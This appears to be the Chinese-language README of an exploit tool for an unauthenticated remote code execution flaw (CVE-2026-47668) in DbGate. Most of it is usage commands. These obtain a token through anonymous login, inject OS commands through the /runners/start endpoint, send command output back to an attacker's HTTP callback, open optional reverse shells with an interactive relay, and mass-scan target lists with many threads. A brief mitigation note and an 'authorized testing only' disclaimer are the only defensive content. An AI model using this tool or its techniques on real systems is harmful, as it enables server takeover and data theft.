| CVE | CVE-2026-47668 |
| 严重性 | 严重 |
| 产品 | DbGate / dbgate-serve |
| 受影响版本 | ≤ 7.1.8 |
| 修复版本 | ≥ 7.1.9 |
| CVSS 3.1 | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| CWE | CWE-20, CWE-94, CWE-1188 |
标题: DbGate 通过 JSON 脚本执行器实现未认证远程代码执行
用户可控字段(functionName、variableName)未经正确验证即被嵌入动态生成的 JavaScript 中。攻击者可在 Node.js 执行器子进程中执行任意代码。
| 项目 | 详情 |
|---|---|
| 端点 | POST /runners/start |
| 认证 | 需要 Bearer;在匿名/默认部署中可通过 POST /auth/login 获取令牌 |
| 注入点 | JSON assign 命令中的 functionName、variableName |
| 影响 | 以 DbGate 进程用户身份执行操作系统命令 |
缓解措施: 升级至 7.1.9+。限制网络访问,禁用匿名认证,轮换凭据,审查日志中可疑的 /runners/start 活动。
Telegram: @KNxploited
CVE-2026-47668.py 针对您已获授权测试的 DbGate 实例进行检查和利用验证。
模式
| 模式 | 反弹 Shell | 描述 |
|---|---|---|
| AUTO | 无 | 单次提示;令牌 + HTTP 回调 + 默认值 |
| CLI | 可选 | 通过参数完全控制 |
| Mass | 无 | 从 targets.txt 扫描 |
--reverse-shell | 是 | 可选 TCP 验证(仅限单个目标) |
结果
| 结果 | 含义 |
|---|---|
| FAIL | 无法访问、认证失败或不存在漏洞 |
| VULN | 执行器仅接受探测 |
| DISPATCH | 已发送载荷;未确认输出 |
| EXFIL | 收到回调 — 已确认命令输出 |
| REVSH | 反向 TCP 已连接(仅可选模式) |
输出目录: Nx/(vuln、dispatch、exfil、failed、list_report、exfil/ 下每个目标的文件)
pip install -r requirements.txt
要求: Python 3.9+、aiohttp、colorama
python CVE-2026-47668.py
| 提示输入 | 示例 |
|---|---|
| 单个 URL | http://192.168.1.10:3000 |
| URL + 命令 | http://192.168.1.10:3000|id |
| 目标列表 | targets.txt |
每次 CLI 运行必须包含 --cli。
python CVE-2026-47668.py --cli [options]
-u / --url — 目标基础 URL
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000
--cmd / --command — Shell 命令(默认:id)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --cmd "id"
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --cmd "uname -a"
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --cmd "ls -la /tmp"
--check-only — 仅漏洞探测(不执行命令)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --check-only
--vector — 注入向量:functionName | variableName | both
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --vector both --cmd id
--port — URL 未指定端口时的默认端口(默认:3000)
python CVE-2026-47668.py --cli -u http://192.168.1.10 --port 3000 --cmd id
--token — 使用已有的 Bearer 令牌
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --token "eyJhbGciOi..." --cmd id
--login-json — 自定义登录请求体(默认:{"amoid":"none"})
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --login-json "{\"amoid\":\"none\"}" --cmd id
--timeout — HTTP 超时时间(秒)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --timeout 20 --cmd id
--secure — 验证 TLS 证书
python CVE-2026-47668.py --cli -u https://dbgate.example.com:3000 --secure --cmd id
--cmd 时的默认行为)--callback-host — 目标用来连接您监听器的 IP/主机名
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --callback-host 192.168.1.5 --cmd id
--listen-host — HTTP 监听器的本地绑定地址(默认:0.0.0.0)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --listen-host 0.0.0.0 --cmd id
--listen-port — HTTP 外传端口(默认:8888)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --listen-port 8888 --cmd id
-c / --callback — 外部回调 URL(禁用内置监听器)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 -c http://192.168.1.5:9999/ --cmd id
--wait-exfil — 等待回调的秒数(单个目标,默认:8)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --wait-exfil 15 --cmd id
--no-b64 — 以非 base64 编码发送输出
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --no-b64 --cmd id
--async-exec — 使用异步 exec 代替 execSync
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --async-exec --cmd id
-f / --file — 目标列表文件
python CVE-2026-47668.py --cli -f targets.txt --cmd id
-t / --threads — 并发工作线程数(默认:30)
python CVE-2026-47668.py --cli -f targets.txt --cmd id -t 50
--mass-wait-exfil — 批量模式下每个目标等待回调的秒数(默认:8)
python CVE-2026-47668.py --cli -f targets.txt --cmd id --mass-wait-exfil 12
批量 + 自定义默认端口
python CVE-2026-47668.py --cli -f targets.txt --port 3000 --cmd "id"
普通测试不需要。请使用 HTTP 外传(--cmd)作为证明。
--reverse-shell — 目标连接至 LHOST:LPORT(省略值 = 局域网 IP + 端口 4444)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell 192.168.1.5:4444
--revsh-port — 当 --reverse-shell 未包含 :port 时使用的端口
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell 192.168.1.5 --revsh-port 4444
--revsh-bind — 本地监听地址
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell 192.168.1.5:4444 --revsh-bind 0.0.0.0
--wait-revsh — 等待 TCP 连接(默认:15)
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell 192.168.1.5:4444 --wait-revsh 20
--revsh-interactive — 连接后启用基本 stdin/stdout 中继
python CVE-2026-47668.py --cli -u http://192.168.1.10:3000 --reverse-shell 192.168.1.5:4444 --revsh-interactive
Docker 说明: 使用可从 DbGate 容器访问的 IP(例如主机网关),而不仅仅是一台电脑上的 127.0.0.1。
targets.txt)# comment
192.168.1.10
192.168.1.11:3000
http://10.0.0.8:3000
http://10.0.0.9|uname -a
https://dbgate.local|id
host|command → 每行命令覆盖Nx/list_report.txt| 文件 | 内容 |
|---|---|
Nx/vuln.txt | 存在漏洞的目标(探测成功) |
Nx/dispatch.txt | 已发送载荷,未确认 |
Nx/exfil.txt | 已确认的回调 |
Nx/failed.txt | 失败的目标 |
Nx/exfil/<host>.txt | 每个目标的命令输出 |
Nx/sessions/<id>/summary.json | 会话摘要 |
POST /auth/login → 获取 Bearer 令牌(除非使用 --token,否则自动执行)POST /runners/start → 执行命令 + HTTP 回调(如果启用,则使用反向 TCP)仅用于授权安全测试。 您必须获得明确许可才能测试任何系统。作者不对滥用或非法使用负责。
作者:Nxploited